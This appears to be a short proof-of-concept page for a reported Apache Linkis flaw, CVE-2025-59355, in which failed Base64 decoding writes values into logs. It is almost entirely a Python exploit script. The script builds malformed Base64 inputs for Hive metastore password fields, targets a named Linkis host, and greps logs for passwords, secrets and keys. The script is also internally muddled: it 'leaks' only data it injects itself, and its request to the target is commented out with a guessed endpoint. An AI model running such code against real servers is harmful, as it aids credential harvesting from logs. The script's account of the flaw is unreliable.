CVE-2025-59355 Apache Linkis HiveUtils.decode()日志敏感信息泄露漏洞

import base64 import requests import logging # CVE-2025-59355 PoC - Apache Linkis HiveUtils.decode() Information Disclosure # This PoC demonstrates how sensitive information can be leaked through error logs def generate_malicious_input(sensitive_info): """ Generate an invalid Base64 string containing sensitive information. This will trigger the error logging in HiveUtils.decode() """ # Create a string that looks like Base64 but is invalid # Add special characters to ensure Base64 decoding fails invalid_base64 = base64.b64encode(sensitive_info.encode()).decode() # Modify to make it invalid Base64 invalid_base64 = invalid_base64[:-1] + '!@#$%' return invalid_base64 def exploit_cve_2025_59355(target_url, sensitive_data): """ Exploit CVE-2025-59355 by injecting sensitive data into configuration that will be logged when Base64 decoding fails """ # Step 1: Generate malicious input with sensitive information malicious_input = generate_malicious_input(sensitive_data) # Step 2: Send request with malicious configuration value # This would typically be done through Linkis metadata configuration API payload = { 'metadata': { 'hive.metastore.uris': malicious_input, 'javax.jdo.option.ConnectionPassword': malicious_input } } # Example API call (would need to be adjusted based on actual endpoint) # response = requests.post(f'{target_url}/api/rest_j/v1/metastore/config', json=payload) print(f"[*] Malicious Base64 input generated: {malicious_input}") print(f"[*] When decoding fails, '{sensitive_data}' will be logged in plaintext") return malicious_input def check_leaked_logs(log_file_path, sensitive_keywords): """ Check log files for leaked sensitive information """ leaked_data = [] try: with open(log_file_path, 'r') as f: for line in f: for keyword in sensitive_keywords: if keyword in line and 'decode failed' in line: leaked_data.append(line.strip()) except FileNotFoundError: print(f"[-] Log file not found: {log_file_path}") return leaked_data if __name__ == '__main__': # Example sensitive data to exploit target = 'http://target-apache-linkis:9001' sensitive_info = 'hive_metastore_password=Admin@123!' exploit_cve_2025_59355(target, sensitive_info) # Check for leaked data in logs # logs = check_leaked_logs('/path/to/linkis/logs/metadata.log', ['password', 'secret', 'key'])